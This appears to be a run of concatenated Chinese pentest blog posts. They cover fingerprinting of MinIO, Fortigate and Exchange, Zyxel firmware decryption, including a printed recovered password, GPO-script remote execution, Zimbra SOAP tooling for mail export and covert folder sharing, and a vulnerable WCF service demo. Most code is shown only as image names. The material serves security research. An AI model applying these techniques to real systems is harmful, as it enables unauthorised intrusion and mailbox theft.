4.png這裡存在多個servers的情況,所以在解析時需要使用遍歷,示例代碼如下:

微信截图_20230404145258.png

0x05 開源代碼完整的實現代碼已上傳至github,地址如下:https://github.com/3gstudent/Homework-of-Python/blob/master/MinIO_GetVersion.py

代碼支持以下兩種命令:

getversin:用來獲得版本信息

getinfo:用來獲得完整信息

0x06 小結本文介紹了Minio版本探測的方法,結合實際環境介紹了通過Python開發的細節,開源代碼。

0x00 前言Fortigate的識別需要區分管理頁面和VPN登陸頁面,版本探測需要根據頁面特徵提取特徵,根據特徵匹配出精確的版本,本文將要介紹通過Python實現Fortigate識別與版本探測的方法,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路1.Fortigate的識別可通過跳轉的URL進行區分

管理頁面跳轉的url:/login?redir=%2F

vpn登陸頁面跳轉的url:/remote/login?lang=en

2.版本探測頁面源碼中存在32位的16進製字符串可以作為版本識別的特徵,每個版本對應不同的32位字符串

0x03 實現細節1.Fortigate的識別這裡的方法是直接訪問IP,根據頁面返回結果進行判斷

(1)管理頁面

在返回結果中就能獲得32位的16進製字符串

(2)vpn登陸頁面

返回的內容為跳轉地址,需要解析出跳轉地址重新構造URL並訪問,在返回結果中獲得32位的16進製字符串

返回跳轉地址的內容示例:

1.png因為跳轉的url不固定,這裡可以通過正則匹配取出需要跳轉的url,示例代碼:

2.png

注:

在判斷版本時無法在requests模塊中使用allow_redirects=False參數來控制是否重定向,原因如下:

使用requests模塊時,如果使用allow_redirects=False參數,只有在返回狀態碼為301或302時,才會關閉重定向,這裡Fortigate返回的狀態碼為200,所以allow_redirects=False參數不起作用

2.版本探測在實際測試過程中,不同版本的Fortigate,雖然都會返回32位16進製字符,但是格式不同,為了提高匹配的效率,減少工作量,這裡在正則匹配時選擇直接匹配32位的16進製字符,示例代碼如下:

3.png

在實際測試過程中,存在response.text的輸出為亂碼的情況

研究解決方法的過程如下:

輸出response.headers,示例代碼:

4.png

返回結果:

5.png

發現編碼格式為x-gzip

所以這裡可以對response.text額外做一次gzip解碼,獲得原始數據,代碼如下:

6.png完整的實現代碼如下:

7.png 8.png

注:

如果遇到通過瀏覽器訪問SSL Vpn Client頁面提示ERR_SSL_VERSION_OR_CIPHER_MISMATCH的錯誤時,程序將返回如下結果:

9.png

解決方法:

改用Python2即可

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Fortigate_GetVersion.py

代碼支持區分管理頁面和VPN登陸頁面,提供了VM版本的指紋庫作為示例,代碼能夠從頁面自動提取出指紋特徵,同指紋庫進行比對,識別出精確的版本。

0x05 小結本文介紹了通過Python實現Fortigate識別與版本探測的方法,介紹實現細節,開源代碼,作為一個很好的學習示例。

0x00 前言在之前的文章介紹了Fortigate識別與版本探測的方法,在提取出頁面特徵後,可根據特徵對應到具體版本。為了找到特徵與具體版本的對應關係,這里首要解決的問題是下載固件。

本文將要介紹通過程序實現自動下載固件的方法,分享腳本開發細節。

0x01 簡介本文將要介紹以下內容:

實現原理

實現細節

開源代碼

0x02 實現原理通過Burp Suite分析下載固件的數據格式,進而編寫程序實現自動下載

1.用戶認證使用Cookie作為憑據,格式示例:

微信截图_20230609173002.png

2.下載流程訪問固件下載頁面,如下圖

下载.png

點擊固件對應的HTTPS即可下載固件

通過Burp Suite分析數據包內容,具體流程如下:

訪問頁面https://support.fortinet.com/Download/FirmwareImages.aspx,發送的數據包如下圖

下载 (1).png

其中,ctl04作為變量,不同固件對應的值不同

返回結果實例如下圖

下载 (2).png

返回結果中為實際的下載文件地址

0x03 實現細節這里以7.2.4的下載為例,在程序實現上需要額外考慮以下細節:

1.文件下載對於返回結果需要作簡單的處理,解析後並下載的代碼實例:

微信截图_20230609173629.png

2.需要獲得文件名與下載鏈接的對應關係實際上為文件名同變量ctl的對應關係

訪問上級頁面,抓包如下圖

下载 (3).png

返回結果如下圖

下载 (4).png

從頁面中能夠獲得文件名同變量ctl的對應關係

這裡使用正則匹配,格式化輸出的代碼實例:

11.png

注:

在使用print函數時,\r指定回到行起始位置,flush=True表示刷新輸出

3.加入下載進度條為了便於掌握下載進度,需要加入下載的進度條

參考代碼:https://www.cnblogs.com/Old-Kang/articles/15271067.html

實例代碼:

12.png輸出實例:

微信截图_20230609174024.png

4.下載判斷當下載很多文件時,如果網絡中斷,需要從中斷處的文件名重新下載

這裡加入指定下載位置作為用戶輸入,實例代碼:

13.png

0x04 小結本文介紹了通過程序下載Fortigate固件的方法,後續可對特徵進行提取。

0x00 前言在上篇文章《渗透基础——Exchange版本探测和漏洞检测》 介紹了通過Python進行版本探測的兩種方法,在版本識別上,首先從官網獲得已知的版本信息,將版本信息存儲在列表中,然後通過字符串匹配的方式獲得Exchange版本的詳細信息。開源的代碼Exchange_GetVersion_MatchVul.py反饋很好。但是這個方法存在一個缺點:需要定期訪問官網,手動更新掃描腳本中的版本信息列表。

為了進一步提高效率,本文介紹另外一種實現方法,通過訪問官網,從返回數據中直接提取出詳細的版本信息,優點是不再需要定期更新腳本。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云通過BeautifulSoup解析網頁數據

马云惹不起马云實現細節

马云惹不起马云 開源代碼

0x02 通過BeautifulSoup解析網頁數據BeautifulSoup是一個可以從HTML或XML文件中提取數據的Python庫,可以提高開發效率。

安裝:

image.png

1.基本使用在Python實現上,需要先通過requests庫獲取網頁內容,再調用BeautifulSoup進行解析。

測試代碼:

image.png

以上代碼將會訪問https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁數據交由BeautifulSoup進行優化並顯示。

執行代碼的部分輸出結果示例:

image.png

對於以上結果,每個'tr'節點對應一個版本信息,子節點'td'為具體的版本細節。

2.只篩選出'tr'節點的內容測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,嘗試去除無效數據。

3.提取出版本信息測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,可以嘗試對精確版本進行匹配。

4.精確匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

對於Exchange較老的版本,無法獲得準確的版本號,所以還需要實現粗略匹配版本的功能。

5.粗略匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

6.提取出網頁數據時間為了能夠準確獲得版本信息,這裡還需要提取出網頁數據的更新時間。

標記網頁數據時間的位置:

image.png

定位該時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

提取出時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

結合以上信息,我們可以寫出新的識別Exchange版本的代碼,通過從官網讀取數據信息來獲得準確的版本,考慮自動化判斷多個目標的情況下,為了避免多次訪問網站讀取數據信息,在代碼結構上做了適當優化,只需訪問一次https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁結果保存在變量中。代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromWebsite.py

考慮到內網無法訪問官網的情況,實現了一個從本地解析網頁文件來獲得準確的版本,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromFile.py

可以先訪問官網並將網頁內容保存為exchange.data,再執行腳本Exchange_GetVersion_ParseFromFile.py即可

0x03 小結本文介紹了在Exchange版本識別上的優化方法,可以不必手動更新掃描腳本中的版本信息列表,開源代碼Exchange_GetVersion_ParseFromWebsite.py和Exchange_GetVersion_ParseFromFile.py

0x00 前言Exchange的版本眾多,歷史漏洞數量也很多,因此需要通過程序實現版本探測和漏洞檢測。本文將要介紹通過Python進行版本探測的兩種方法,介紹漏洞檢測的實現細節,開源代碼。

0x01 簡介本文將要介紹以下內容:

實現思路

實現細節

開源代碼

0x02 實現思路1.版本識別(1)獲得精確版本(Build number)

訪問EWS接口,在Response Headers中的X-OWA-Version可以獲得精確版本,如下圖

ea77e433c222dd8aef0fb7320a17475.png

優點:精確版本(Build number)能夠對應到具體的發布日期

缺點:方法不通用,部分舊的Exchange版本不支持

(2)獲得粗略版本

訪問OWA接口,在回顯內容可以獲得粗略版本,如下圖

3d3ce0a46278a1679069a3fe924054e.png

優點:方法通用

缺點:粗略版本無法對應到準確的發布日期,只能對應到一個區間

綜上,在版本識別上,首先嘗試獲得精確版本,如果無法獲得,再嘗試獲得粗略版本

獲得版本號後,可以去官網查詢對應的Exchange版本和發布日期,查詢地址:https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

2.漏洞檢測Exchange的漏洞詳情可通過訪問https://msrc.microsoft.com/update-guide/vulnerability/CVE 查看,例如:

CVE-2020-0688對應的URL:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0688

在漏洞檢測上,可以將補丁時間作為判定依據,如果識別到的Exchange版本發布日期低於某個補丁日期,那麼判定該Exchange存在該補丁中描述的漏洞。

0x03 實現細節1.版本識別訪問EWS接口獲得版本的實現代碼:

url1='https://'+host+'/ews'

req=requests.get(url1,headers=headers,verify=False)

if'X-OWA-Version'inreq.headers:

version=req.headers['X-OWA-Version']

print(version)訪問OWA接口獲得版本的實現代碼:

url2='https://'+host+'/owa'

req=requests.get(url2,headers=headers,verify=False)

pattern_version=re.compile(r'/owa/auth/(.*?)/themes/resources/favicon.ico')

version=pattern_version.findall(req.text)[0]

print(version)獲得版本號後,需要同已知的版本信息作匹配。為了提高效率,可以選擇將已知的版本信息存儲在列表中,元素包括Exchange版本,發佈時間和版本號(Build number)

首先從官網複製已知的版本信息,再通過字符串替換的方式將版本信息存儲在列表中

在版本匹配時,需要區別精確版本和粗略版本,精確版本可以對應唯一的結果,而粗略版本需要篩選出所有可能的結果

Build number格式示例:15.1.2375.24

粗略版本格式示例:15.1.2375

粗略版本的篩選方法:

對Build number字符串進行截取,去除最後一個字符”.”後面的數據,同粗略版本進行數據對比,輸出所有結果

代碼示例:

versionarray=[

['ExchangeServer2019CU11Mar22SU','March8,2022','15.2.986.22'],

['ExchangeServer2019CU11Jan22SU','January11,2022','15.2.986.15'],

['ExchangeServer2019CU11Nov21SU','November9,2021','15.2.986.14'],

['ExchangeServer2019CU11Oct21SU','October12,2021','15.2.986.9'],

['ExchangeServer2019CU11','September28,2021','15.2.986.5'],

['ExchangeServer2019CU10Mar22SU',''March8,2022','15.2.922.27']

]

version='15.2.986'

forvalueinversionarray:

ifversioninvalue[2][:value[2].rfind('.')]:

print('[+]Version:'+value[2])

print('Product:'+value[0])

print('Date:'+value[1])2.漏洞檢測將補丁時間作為判定依據,同樣為了提高效率,將已知的漏洞信息存儲的列表中,元素包括發佈時間和漏洞編號

為了便於比較時間,需要改變時間格式,例如將September 28, 2021修改成09/28/2021

代碼示例:

vularray=[

['CVE-2020-0688','02/11/2020'],

['CVE-2021-26855+CVE-2021-27065','03/02/2021'],

['CVE-2021-28482','04/13/2021']

]

date='03/01/2021'

forvalueinvularray:

if(date.split('/')[2]=value[1].split('/')[2])(date.split('/')[1]=value[1].split('/')[1])(date.split('/')[0]value[1].split('/')[0]):

print('[+]'+value[0]+','+value[1])0x04 開源代碼由於代碼內容較長,完整的實現代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py

版本數據庫的日期為03/21/2022

漏洞信息包括以下編號:

CVE-2020-0688

CVE-2021-26855+CVE-2021-27065

CVE-2021-28482

CVE-2021-34473+CVE-2021-34523+CVE-2021-31207

CVE-2021-31195+CVE-2021-31196

CVE-2021-31206

CVE-2021-42321

代碼能夠自動識別出精確版本,如果無法識別,改為識別粗略版本,標記出所有匹配的漏洞

0x05 小結本文介紹了通過Python進行Exchange版本探測的兩種方法,介紹實現細節,開源代碼,作為一個很好的學習示例。

0x00 前言在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》 介紹了通過域組策略(Group Policy Object)遠程執行計劃任務的方法,本文將要介紹類似的另外一種方法:通過域組策略(Group Policy Object)的腳本實現遠程執行。

0x01 簡介本文將要介紹以下內容:

通過Group Policy Management Console (GPMC) 實現腳本的遠程執行

通過命令行實現腳本的遠程執行

新建GPO實現遠程執行

修改已有的GPO,實現遠程執行

實現細節

0x02 通過Group Policy Management Console (GPMC) 實現腳本的遠程執行1、創建GPO 1.png 2.png 3.png 4.png 5.png2.配置GPO 6.png 7.png 8.png

0x03 通過命令行實現腳本的遠程執行1.作用於全域9.png 19.png2.作用於指定目標20.png 21.png 22.png

0x04 修改已有的GPO,實現遠程執行23.png 24.png 25.png

0x05 直接執行遠程腳本當我們選擇直接執行組策略文件夾中的bat文件,會彈框提示無法執行,如下圖

26.png

27.png 28.png

0x06 小結本文介紹了通過域組策略(Group Policy Object)中的腳本實現遠程執行的方法,分享實現細節和利用思路。

0x00 前言本文將要介紹Zyxel固件解密的兩種通用方法,記錄測試心得。

0x01 簡介本文將要介紹以下內容:

基礎知識

通過已知明文攻擊解密zip文件

通過跟踪進程參數獲得zip加密口令

0x02 基礎知識1.固件下載固件下載地址:https://portal.myzyxel.com/my/firmwares

需要註冊賬戶,可下載指定版本的固件

2.常見固件類型ATP

USG FLEX

VPN

ZyWALL/USG

這里以VPN50 5.36(ABHL.0)為例,下載後保存為VPN50_V5.36(ABHL.0).zip

接下來介紹固件解密的兩種方法

0x03 通過已知明文攻擊解密zip文件參考資料:https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis

VPN50_V5.36(ABHL.0).zip中的文件內容如下:

536ABHL0C0.bin

536ABHL0C0.conf

536ABHL0C0.db

536ABHL0C0.pdf

536ABHL0C0.ri

VPN50_V5.36(ABHL.0)C0-foss.pdf

其中,536ABHL0C0.bin和536ABHL0C0.db被加密,需要解密

解密條件:

1、已知完整的明文文件和zip文件

2、明文文件需要被相同的壓縮算法壓縮

3、加密算法為ZipCrypto Store

對於VPN50_V5.36(ABHL.0).zip,536ABHL0C0.conf同536ABHL0C0.bin中的db/etc/zyxel/ftp/conf/system-default.conf文件一致,同536ABHL0C0.db中的etc/zyxel/ftp/conf/system-default.conf文件一致,滿足條件1

對於條件2,需要確定536ABHL0C0.bin和536ABHL0C0.db的壓縮算法,參考資料也未涉及這部分內容,這裡詳細介紹分析流程

查看536ABHL0C0.bin中db/etc/zyxel/ftp/conf/system-default.conf的壓縮信息:zipdetails -v 536ABHL0C0.bin

返回結果:

微信截图_20230609174813.png

1.png得出壓縮算法如下:

微信截图_20230609174958.png

所以在壓縮536ABHL0C0.conf時需要加入參數-9設定為compress better,即Maximum Compression

完整解密命令如下:

(1)安裝pkcrack 2.png

(2)解密536ABHL0C0.bin 3.png

(3)解密536ABHL0C0.db 4.png

需要注意536ABHL0C0.bin和536ABHL0C0.db的system-default.conf絕對路徑不同

0x04 通過跟踪進程參數獲得zip加密口令參考資料:https://security.humanativaspa.it/zyxel-firmware-extraction-and-password-analysis/

解密原理:從.ri文件能夠提取出zld_fsextract,zld_fsextract能夠根據文件內容計算出解壓口令進而解密.bin文件

經測試,使用zld_fsextract也可以解開其他固件的.bin文件

1.提取zld_fsextract 5.png

查看文件類型:file zld_fsextract

返回結果:zld_fsextract: ELF 32-bit MSB executable, MIPS, N32 MIPS64 rel2 version 1 (SYSV), statically linked, stripped

提示zld_fsextract為MIPS結構,需要搭建MIPS環境運行

2.搭建MIPS環境6.png

3.監控進程啟動7.png

注:

需要加入參數-f跟踪由fork調用所產生的子進程,加入參數-s 199指定trace結果的每一行輸出字符串的長度,如果未設置參數-s,無法記錄完整的解密口令

返回結果實例:

8.png

從中獲得解密口令GfmirkjRUJla2evWFLtqJoI5a6vfOmDgR/OIl7lFSWrXBm3S7yJTmdaMlV19HGr

注:

該解密口令不適用於536ABHL0C0.db

0x05 小結本文介紹了Zyxel固件解密的兩種通用方法,分享了在解密過程中需要記錄的細節。

0x00 前言本文記錄從零開始搭建Zimbra漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Zimbra服務器開啟調試模式

本地使用IDEA進行遠程調試

常用知識

0x02 Zimbra服務器開啟調試模式相關資料:

https://github.com/Zimbra-Community/zimbra-tools/blob/master/java-debug-zimbra-intellij-ide.md

詳細步驟如下:

1.停止Zimbra服務image.png

2.開啟調試模式image.png

此處先備份zmmailboxdmgr,再使用zmmailboxdmgr.unrestricted替換zmmailboxdmgr

3.添加調試信息image.png

注:

也可以直接修改/opt/zimbra/conf/localconfig.xml中的mailboxd_java_options屬性值

4.關閉防火牆image.png

5.重啟服務image.png

0x03 本地使用IDEA進行遠程調試1.下載jar文件本地使用IDEA進行遠程調試時,本地和遠程的代碼需要保持一致,也就是說,我們需要拿到zimbra相關的jar文件

zimbra文件位置:

/opt/zimbra/common/jetty_home/lib/

/opt/zimbra/common/jetty_home/lib/apache-jsp/

2.批量導入jar文件新建java工程,依次選擇File-Project Structure.在Libraries下選擇New Project Library-Java,設置為c:\zimbrajar\

3.添加斷點在External Libraries-zimbrajar下面打開.class文件,在合適的位置添加斷點

4.設置遠程調試參數頂部菜單欄選擇Add Configuration.在彈出的頁面中選擇Remote JVM Debug,填入遠程調試參數,參數示例:

image.png

使用的JDK選擇JDK 5-8

5.開啟Debug模式回到IDEA主頁面,選擇剛才的配置文件,點擊Debug圖標(快捷鍵Shift+F9)

如果遠程調試執行成功,斷點圖標會發生變化,增加一個對號

此時,Console頁面顯示如下:

image.png

0x04 常用知識Zimbra使用Jetty框架作為web容器

用戶在訪問jsp文件時,服務器先將JVM不認識的JSP文件解析成java文件,保存路徑為:/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/

每個jsp文件被成功訪問後,都會註冊一個JspServletWrapper實例,我們可以通過調試器查看request變量獲得所有已註冊的JspServletWrapper實例,也可以通過反射的方式以jsp文件的形式進行枚舉

jsp文件代碼示例:

image.png

整個反射的邏輯來自於跟踪調試的結果,實現邏輯不唯一,枚舉JspServletWrapper實例用到了ConcurrentHashMap枚舉

0x05 小結在我們搭建好Zimbra漏洞調試環境後,接下來就可以著手對漏洞和Jetty框架進行研究學習。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的實用功能,添加預認證的登錄方式,分享開發細節。

0x01 簡介本文將要介紹以下內容:

預認證

計算preauth

SOAP實現

開源代碼

0x02 預認證參考資料:https://wiki.zimbra.com/wiki/Preauth

簡單理解:通過preAuthKey結合用戶名、時間戳和到期時間,計算得出的HMAC作為身份驗證的令牌,可用於用戶郵箱和SOAP登錄

默認配置下,Zimbra未啟用預認證的功能,需要手動開啟

(1)開啟預認證並生成PreAuthKey命令如下:

1.png其中,

2.png對應測試環境的命令為:/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com

測試環境的輸出如下:

3.png(2)讀取已有的PreAuthKey命令如下:

4.png對應測試環境的命令為:/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey

測試環境的輸出如下:

5.png注:

如果Zimbra存在多個域名,那麼會有多個PreAuthKey

0x03 計算preauth參考資料中給出了多種計算preauth的示例,但是Python的實現代碼不完整,這裡補全Python3下的完整實現代碼,詳細代碼如下:

6.png代碼會自動生成可用的URL,瀏覽器訪問可以登錄指定郵箱

0x04 SOAP實現SOAP格式:

7.pngSOAP格式示例:

8.png需要timestamp和preauth作為參數,使用預認證登錄的詳細代碼如下:

9.png 10.png 11.png

以上代碼通過預認證登錄,返回可用的token,通過該token可以進行後續的SOAP操作,列出文件夾郵件數量的實現代碼:

12.png 13.png0x05 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加了使用預認證登錄的功能

0x06 小結本文擴充了Zimbra SOAP API的調用方法,添加了使用預認證登錄的功能。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的功能,實現郵件導出和文件夾共享,分享開發細節。

0x01 簡介本文將要介紹以下內容:

郵件導出

文件夾共享

開源代碼

0x02 郵件導出Zimbra支持導出當前郵箱的所有郵件,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Import/Export,如下圖

1.png

接下來,通過抓包的方式分析實現流程,進而使用程序實現這部分功能

1.默認配置導出郵件默認配置下,會導出所有郵件,以壓縮包的形式保存

訪問URL示例:

2.png

參數解析:

admin%40test.com為郵箱用戶,可以用~替代

filename=All-2022-07-27-181056為存在記錄時保存的文件名,2022-07-27-181056對應的時間格式為年-月-日-時分秒,時間為帶時區的時間,需要計算時差

emptyname=No+Data+to+Export為空記錄時保存的文件名

在程序實現上,需要同Web操作的格式保持一致,代碼細節:

(1)構造保存的文件名

3.png

(2)保存文件

保存文件時使用binary寫入

4.png

實現代碼示例:

5.png

2.加入篩選條件導出郵件高級選項下,可以添加篩選條件,導出特定的郵件

訪問URL示例:

6.png

參數解析,新增加了以下參數:

start=1658818800000為篩選的起始時間,格式為unix時間戳,沒有額外計算時差

end=1658991600000為篩選的結束時間,格式為unix時間戳,沒有額外計算時差

query=content%3Apassword為篩選的關鍵詞,作用是查詢正文中帶有password關鍵詞的郵件

篩選條件的語法可參考:https://wiki.zimbra.com/wiki/Zimbra_Web_Client_Search_Tips

代碼實現細節:

(1)時間格式轉換的示例代碼

時間轉換成秒:

7.png秒轉換成時間:

8.png

實現代碼示例:

9.png 10.png 11.png

0x03 文件夾共享1.流程分析Zimbra支持將當前郵箱的文件夾共享至其他用戶,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Sharing,如下圖

12.png

文件夾共享可選擇以下三個文件夾:

Inbox

Sent

Junk

如下圖

13.png

設置共享屬性如下圖

需要區別以下設置:

(1)Role

Viewer只能查看郵件

Manager可以修改郵件

(2)Message

Send stanard message,在設置後會向目的郵箱發送一份確認郵件

Do not send mail about this share,不發送確認郵件

這裡可以通過抓包分析每項設置對應的具體數值

示例數據包1:

14.png

格式分析:

(1)

id='2'表示Inbox

Sent對應id='5'

Junk對應id='4'

通過測試,還可以指定Drafts,對應id='6'

(2)

d='test1@test.com'表示可訪問共享的郵箱

perm='r'表示權限為可讀,對應Viewer

Manager對應的配置為perm='rwidx',表示權限為讀、寫、添加和刪除

如果設置了Send stanard message,在設置後會向目的郵箱(例如test1@test.com)發送一份確認郵件,數據包格式示例:

15.png

郵箱test1@test.com會收到一份郵件,確認是否接受文件夾共享

2.代碼實現(1)添加文件共享

需要指定目標郵箱和共享文件夾

添加文件共享成功的響應中返回共享文件夾對應的zid

實現代碼示例:

16.png 17.png 18.png

(2)發送文件共享請求

需要指定目標郵箱

實現代碼示例:

19.png 20.png

這裡需要注意,只有在添加文件共享後,發送文件共享請求才能成功返回200,否則返回500,提示invalid request: no matching grant

(3)刪除文件共享

需要指定目標郵箱對應的zid和共享文件夾,zid可在添加文件共享成功的響應中獲得

實現代碼示例:

21.png 22.png

0x04 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加以下五個功能:

AddShare:添加文件夾共享,默認權限為rwidx

ExportMail:導出帶有搜索條件的郵件,可指定日期和關鍵詞

ExportMailAll:導出所有郵件

RemoveShare:刪除當前郵箱的文件夾共享

SendShareNotification:在添加文件夾共享後,向目標郵箱發送一封確認郵件

0x05 小結本文擴充了Zimbra SOAP API的調用方法,添加五個實用功能,實現方法和思路還可在XSS漏洞上進行測試。

0x00 前言在之前的文章《Zimbra SOAP API开发指南》 和《Zimbra-SOAP-API开发指南2》 介紹了Zimbra SOAP API的調用方法,開源代碼Zimbra_SOAP_API_Manage。 本文將要在此基礎上擴充功能,添加郵件操作的相關功能。

0x01 簡介本文將要介紹以下內容:

查看郵件

發送郵件

刪除郵件

0x02 查看郵件Zimbra SOAP API說明文檔:https://files.zimbra.com/docs/soap_api/9.0.0/api-reference/index.html

結合Zimbra SOAP API說明文檔和調試結果得出以下實現流程:

調用Search命令獲得郵件對應的Item id,通過Item id作為郵件的識別標誌。

獲得Item id後可以對郵件做進一步操作,如查看郵件細節、移動郵件、刪除郵件等。

1.獲得郵件對應的Item id需要使用Search命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/Search.html

需要用到以下參數:

(1)query

表示查看的位置,示例如下:

image.png

(2)limit

表示返回的查詢結果數量,示例如下:

image.png

如果不指定該屬性,默認為10

測試代碼:

image.png

返回內容示例:

image.png

對以上格式分析,發現標籤c***對應每個郵件的信息,提取數據如下:

image.png

格式分析如下:

image.png

時間格式轉換的示例代碼:

image.png

綜合以上內容,得出提取Item id、發件人、標題、正文內容和發送時間的實現代碼:

image.png

2.查看郵件內容測試發現,查看郵件細節可以不依賴Zimbra SOAP API,訪問固定url即可。

image.png

通過這種方式可以獲得完整的郵件內容,包括Base64編碼的附件內容。

實現代碼:

image.png

0x03 發送郵件在發送帶有附件的郵件時,需要先上傳附件,再發送。

1.上傳附件上傳功能通過FileUploadServlet實現,對應代碼位置:/opt/zimbra/lib/jars/zimbrastore.jar中/com.zimbra/cs/service/FileUploadServlet.class

上傳細節可參考:https://github.com/Zimbra/zm-mailbox/blob/develop/store/docs/file-upload.txt

上傳的url: https://

image.png

如果添加參數fmt=raw,extended,返回結果示例:

image.png

經過比較,發現添加參數fmt=raw,extended能夠額外獲得文件類型,示例:'ct':'image/jpeg'

所以在上傳時,使用url: https://url /service/upload?fmt=raw,extended

綜合以上內容,得出以下實現代碼:

image.png

2.發送帶有附件的郵件需要使用SendMsg命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/SendMsg.html

需要用到以下參數:

(1)e

表示發件人和收件人等相關信息,示例如下:

image.png

(2)su

表示郵件標題,示例如下:

image.png

(3)mp

表示正文內容,示例如下:

image.png

(4)noSave

如果設置為1,表示郵件發送後,不在發件箱保存副本,示例代碼:

image.png

(5)attach

指定發送附件的aid,示例代碼:

image.png

綜合以上內容,得出發送帶有附件郵件的實現代碼:

image.png

0x04 刪除郵件需要使用ConvAction命令。

說明文檔:https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraMail/ConvAction.html

需要用到以下參數:

(1)tcon

image.png

通過瀏覽器刪除郵件的流程是先點擊刪除郵件,將郵件移動至垃圾箱,再從垃圾箱中點擊刪除郵件,完成郵件的徹底刪除。

通過Zimbra-SOAP-API可以簡化以上流程,直接刪除郵件。

實現代碼:

image.png

0x05 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

優化了代碼結構,增加了以下功能:

DeleteMail,刪除指定郵件

SearchMail,獲得郵箱信息,包括Item id、發件人、標題、正文內容和發送時間

SendTestMailToSelf,向當前郵箱發送一封帶有附件的郵件

uploadattachment,上傳附件

uploadattachmentraw,上傳附件的另一種實現,用於特定條件

viewmail,查看郵件完整細節

0x06 小結本文擴充了Zimbra SOAP API的調用方法,添加三個實用功能:查看郵件、發送郵件和刪除郵件,記錄實現細節。

0x00 前言本文將要介紹在禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例。

0x01 簡介本文將要介紹以下內容:

禁用MEX實現WCF

文章完整代碼示例

0x02 禁用MEX實現WCF禁用MEX時,需要根據服務端的代碼手動編寫客戶端代碼

本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

image.png

(6)編譯運行

命令行輸出地址:net.tcp://localhost/vulnservice/runme

(7)測試

此時無法使用WcfTestClient進行測試

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NBTClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

0x03 文章完整代碼示例代碼示例:

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

相關介紹:

https://versprite.com/blog/security-research/abusing-insecure-wcf-endpoints/

代碼示例實現了WCF的服務端,但是缺少安裝部分和客戶端的編寫,這裡給出完整示例

1.服務端編寫(1)下載代碼

https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulService1

(4)啟動服務

編譯生成VulnWCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為VulnWCFClient

(2)修改Program.cs

添加引用System.ServiceModel

代碼示例:

image.png

(3)編譯運行

編譯生成VulnWCFClient,運行後彈出System權限的計算器,測試成功

0x04 小結本文介紹了禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例,便於WCF相關知識的研究。